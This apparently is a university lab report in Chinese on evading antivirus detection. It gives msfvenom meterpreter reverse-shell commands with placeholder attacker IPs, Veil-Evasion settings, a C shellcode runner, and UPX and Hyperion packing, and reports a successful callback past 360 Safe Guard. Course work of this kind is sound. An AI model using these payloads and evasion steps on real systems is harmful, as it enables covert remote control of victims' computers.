2018-2019-2 网络对抗技术 20165219 Exp3 免杀原理与实践
实验任务
1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
基础问题回答
(1)杀软是如何检测出恶意代码的?
分析特征码,恶意代码都含有的一段代码,简称特征码,只要包含这段代码就被认定是恶意代码;
检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等。
(2)免杀是做什么?
通过一些手段对恶意代码进行伪装,不被杀毒软件检测出。
(3)免杀的基本方法有哪些?
改变特征码,改变行为,利用现有playload手工打造一个后门程序。
实验过程
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧
使用msf编码器msfvenom生成后门程序
实验二中生成的后门程序,在virscan网站中扫描
通过图片可以看到,不加处理的恶意代码能被绝大多数杀毒软件识别。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe
进行10次编码试试降低检出率
在virscan网站中扫描
虽然进行多次编码,但特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。
msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.php
在virscan网站中扫描
msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.jar
在virscan网站中扫描
使用veil-evasion生成后门程序及检测
安装veil成功之后,输入veil
,再用use evasion
命令
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
设置反弹连接IP:set LHOST 此处IP为Kali IP
设置端口:set LPORT 5219
输入generate
生成文件,然后输入playload的名字
在目录 /usr/share/veil-output/compiled
里找到我们生成的文件,在virscan网站中扫描
利用shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口号 -f c
生成一段c语言格式的shellcode数组
编辑一个.c文件
unsigned char buf[] =
int main()
{
int (*func)() = (int(*)())buf;
func();
}
i686-w64-mingw32-g++ 20165219.c -o 20165219.exe
编译后变成可执行文件
进行检测
windows上用杀软检测
加压缩壳
对上面的shellcode加壳
检测
使用加密壳Hyperion
将wyb_upxed.exe拷贝到/usr/share/windows-binaries/hyperion/
端输入命令wine hyperion.exe -v wyb_upxed.exe wyb_upxed_Hyperion.exe
通过组合应用各种技术实现恶意代码免杀
对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。
加密壳的免杀和反弹连接
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
对方电脑的杀毒软件为:360安全卫士 版本11
免杀的截图
回连成功的结果图
实验过程中遇到的问题
没有成功安装veil
解决办法:拷了别的同学安装好veil的虚拟机
离实战还缺些什么技术或步骤?
免杀技术单一,跟不上病毒库的更新,以后应该尝试多种技术的组合
实践总结与体会
学习完本次的实验对免杀原理有了深层次的了解,为以后防范恶意软件攻击打下了基础。